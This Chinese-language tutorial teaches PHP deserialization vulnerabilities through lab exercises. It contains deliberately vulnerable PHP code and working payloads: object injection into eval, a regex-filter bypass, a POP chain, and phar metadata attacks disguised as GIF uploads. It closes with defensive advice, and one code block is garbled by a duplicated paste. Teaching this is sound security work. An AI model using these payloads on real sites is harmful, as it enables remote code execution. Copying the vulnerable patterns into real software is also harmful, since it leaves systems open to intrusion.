PHP反序列化入门手把手详解
前言:文章内容大致可分为原理详解-漏洞练习-防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序列化原理的详细分析以及一系列由简入深的PHP反序列化习题练习和分析讲解。文章写作初衷是想借助REEBUF平台与入门安全的师傅分享自己入门期间的学习成果。最后特别感谢何君师傅的教导。
序列化与反序列化
名词解释
序列化:将变量转换为可保存或传输的字符串的过程;
反序列化:在适当的时候把这个字符串再转化成原来的变量使用。
优点:这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
例子1
例子:将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)
例子-对象压缩成字符串
例子-字符串还原成对象
例子2
再例如:网购家具,店家把家具拆分打包邮寄过来的过程就是序列化,反序列化就是买家根据说明书自定义将商品还原过程。
例子2-桌子拆分
例子2-桌子组装还原
字符解释
字符详解
O:6:"Person":3:{s:4:"name";s:3:"tom"; s:11:"Personage"; i:18; s:6:"*sex"; s:3:"boy";}
O : 自定义对象 object
6 : 类名的长度
:3 : 3个成员属性
S:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string
S:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:18 : 18是age的属性值 , i是代表 integer类型
s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号
s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值
字符解释
private和 protected详解
PHP 序列化的时候 private和 protected 变量会引入不可见字符%00,%00类名%00属性名 为private,%00*%00属性名 为protected,注意这两个 %00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚.我们可以将序列化的字符用urlencode编码之后,打印出来查看.
字符解释
PHP常见魔术方法
__construct
__construct:构造函数,会在每次创建新对象时先调用此方法
__construct
__destruct
__destruct:析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__destruct
__toString
__toString:返回一个类被当做字符串时要输出的内容,此方法必须返回字符串并且不能在此方法中抛出异常,否则会产生致命错误。
__tostring
__invoke
__invoke:PHP5.3起,当尝试以函数的方式调用对象时,会调用此方法。
__invoke
__call
__call : 在对象中调用一个不可访问方法时调用。
__call
__sleep
__sleep:返回一个包含对象中所有应被序列化的变量名称的数组。serialize函数在序列化类时首先会检查类中是否存在__sleep方法。如果存在,会先调用此方法然后再执行序列化操作。并且只对__sleep返回的数组中的属性进行序列化。如果
__sleep不返回任何内容,则null会被序列化,并产生E_NOTICE级别的错误。__sleep不能返回父类的私有成员,否则会产生E_NOTICE级别的错误。对于一些很大但不需要保存全部数据的对象此方法很有用。
即序列化serialize时会调用__sleep.
__sleep
__wakeup
__wakeup:与__sleep相反,是在unserialize函数反序列化时首先会检查类中是否存在__wakeup方法,如果存在会先调用次方法然后再执行反序列化操作。用于在反序列化之前准备一些对象需要的资源,或其他初始化操作。
即反序列化unserialize时会自动调用__wakeup
__wakeup
PHP反序列化练习
一.初步认识
任务:通过传参让页面出现phpinfo界面
1.构建环境
习题代码
<?php
class one
{
var $b = 'phpinfo();';
function action()
{
eval($this->b);
}
}
$a = unserialize($_GET[1]);
$a->action();
2,分析
payload O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}
①新建新文件用于存放预构造的代码
②实例化一个对象,将其序列化的内容打印出来
③得到其序列化的结果
3.完成任务
4.加班->任意代码执行
<?php
class one
{
var $b = 'phpinfo();';
function action()
{
eval($this->b);
}
}
$a = unserialize($_GET[1]);
$a->action();
5.习题解析
新建新文件用于存放预构造的代码,重新构造代码,将其实例化一个对象,把其序列化的内容打印出来
payload O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}
![习题解析]
6.执行命名,例如echo 123
paload O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo 123;
总结 :在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的
二.简单利用
任务:输出phpinfo或者其他任意代码执行
1.构建环境
<?php
class one
{
var $b = 'echo 123;';
function action()
{
eval($this->b);
}
}
class Student
{
var $a;
function __construct()
{
$this->a = new one();
}
function __destruct()
{
$this->a->action();
}
}
unserialize($_GET[1]);
2.解析,同理
①新建新文件用于存放预构造的代码
②实例化一个对象,将其序列化的内容打印出来
③得到其序列化的结果
payload O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}}
3.完成
payload O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}}&2=phpinfo();
三.相关绕过
任务:访问当前目录的1.txt文件
1.构造环境:当前目录创建1.txt 输入任意内容,通过反序列化读取文件内容
[构造环境]
习题代码
<?php
@error_reporting(1);
echo $_GET['data'];
class baby
{
public $file;
function <?php
@error_reporting(1);
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
2.解析:
观察代码,上部分定义了类,下部分是过滤的代码,过滤后可以通过传参形式以反序列构造一个对象,然后将对象用字符串打印出来,触发上半部分的__toString()魔术方法,去执行预计代码。
既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化
习题解析
3.同理,构造->序列化
习题解析
4.过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验
过滤代码
5.可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)
payload O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}
绕过过滤
四.开始上手
任务:读取flag.GG的love
<?php
class A
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class B
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class C
{
public $mod1;
public $mod2;
public function __call($test2, $arr)
{
$s1 = $this->mod1;
$s1();
}
}
class D
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接" . $this->mod1;
}
}
class E
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:" . "GG的love";
}
}
$a = $_GET['string'];
unserialize($a);
解析:
涉及到对魔术方法的理解,需要回到初始部分,了解魔术方法的触发条件,建议依次由代码后头往前分析
习题解析
习题解析
习题解析
习题解析
习题解析
习题解析
解题:
代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用
payload
<?php
class A
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new B();
}
public function __destruct()
{
$this->mod1->test1();
}
}
class B
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new C();
}
public function test1()
{
$this->mod1->test2();
}
}
class C
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new D();
}
public function __call($test2, $arr)
{
$s1 = $this->mod1;
$s1();
}
}
class D
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new E();
}
public function __invoke()
{
$this->mod2 = "字符串拼接" . $this->mod1;
}
}
class E
{
public $str1;
public $str2;
public function __construct()
{
$this->str1 = new GetFlag();
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:" . "GG的love";
}
}
$c = new A;
echo serialize($c);
payload
O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
实例化对象,输出序列化结果
输出序列化结果
结果
总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。
Phar文件和Phar协议
前言
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大 假如没有unserialize(),没了传参接口那该怎么利用咧,这就需要 利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作 . 即通过本地构造phar文件把恶意代码本地序列化好,在将phar文件上传到目标网站,最后通过phar协议配合文件系统函数反序列化phar文件,达到预期目的.
phar文件详解
Phar文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
phar文件分为四层
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
//简单地说就是告诉系统自己是一个什么样的文件,声明文件后缀
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
//存放序列化的内容
content:被压缩文件的内容
signature (可空):签名,放在末尾。
生成phar文件
1.准备环境
1.1Phar需要 PHP >= 5.2
1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)
phpstudy配置
2.具体代码:
<?php
class AnyClass{
var $output = 'phpinfo();';
function __destruct()
{
eval($this -> output);
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
phar文件生成
①要序列化的内容,即起到的作用同上文练习题里的test.php文件一样,我们把要构造的恶意代码放进来进行序列化
②上下部分的类命一致(其它选项可以保持默认)
2.1访问phar.php文件,生成phar.phar文件
phar.phar文件生成
2.2查看phar文件内容
phar文件内容查看
总结:phar.phar文件是在我们本地生成,然后上传到目标网站,配合phar协议和相关函数,造成反序列的杀伤链.所以不用担心前置的开启phpstudy配置操作会影响后续操作.利用条件核心在于1.phar文件要能够上传到服务器端。2.要有可用的魔术方法作为“跳板”。3.文件操作函数的参数可控,且 ./ ../ phar等特殊字符没有被过滤。
利用条件:
1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且 ./ ../ phar等特殊字符没有被过滤
文件操作函数
php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :
文件操作函数
绕过技巧:
1.环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
2.验证文件格式
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
3.绕过上传后缀检查
将phar.phar更名为phar.gif 不影响phar文件的最终执行
练习
一.初步了解
任务:目标1.php界面任务执行phpinfo()
1.php代码
<?php
class Files
{
var $b = 'echo ok;';
function __destruct()
{
eval($this->b);
}
}
//$file = '../'.$_GET['file'];
is_dir('phar://phar.phar/test.txt');
1.php界面
解题:
分析:存在可控点以及文件操作函数,路径指向phar协议.可以直接访问1.php文件,传参执行恶意的代码
一 phar.php页面将恶意代码序列化
phar.phar文件生成
①保持类名一致
②构造恶意代码
③访问phar.php文件生成phar.phar文件
④可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)
二.1.php页面执行phpinfo()
目标界面执行phpinfo
二.进一步了解
通过phar协议读出Destruct called
目标文件
<?php
class TestObject
{
public function __destruct()
{
echo 'Destruct called';
}
}
$filename = $_GET['cmd'];
file_get_contents($filename);
2.php
分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码
1.同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中
phar.phar文件生成
①保持类名一致
②访问phar.php文件
③生成phar.phar文件
2.访问目标文件
payload:phar://phar.phar/test.txt
完成执行
拓展:练习
具体代码
class Test
{
public $num = 2;
public function __destruct()
{
if ($this->num === 1) {
echo 'flag{123}';
}
}
}
echo file_get_contents($_GET['data']);
(关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)
拓展练习
三.再进一步了解
任务:通过phar协议执行phpinfo
详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.
环境准备
1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件
2.www/目录(网站根目录)下新建upload_file文件夹
3.各个文件内容及解释
upload_file.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
upload_file.php:内容做了一个上传文件后缀的限制
upload_file.php
index.php 提供一个上传界面
<body>
<form action="http://localhost/upload_file" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
index.php
page.php 目标可控点
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
page.php
分析
1.目标存在可控点以及文件操作函数
page.php分析
2.只有upload_file.php的对上传文件的后缀限制
upload_file.php
解题
1.构造上传的phar文件
①通过phar.php生成的phar.phar文件,将phar.phar文件更改为phar.gif文件
phar文件生成
2.上传文件和执行
①成功上传②page页面成功执行phpinfo
page页面执行phpinfo
反序列化漏洞的防御
和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以最好的预防措施:
1.不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中。
2.在进入反序列化函数之前,对参数进行限制过滤,例如长度,特定参数等
3.白名单为主,限制反序列化的类,从而减小影响
4.鉴权,反序列化接口进行鉴权,仅允许后台管理员等特许人员才可调用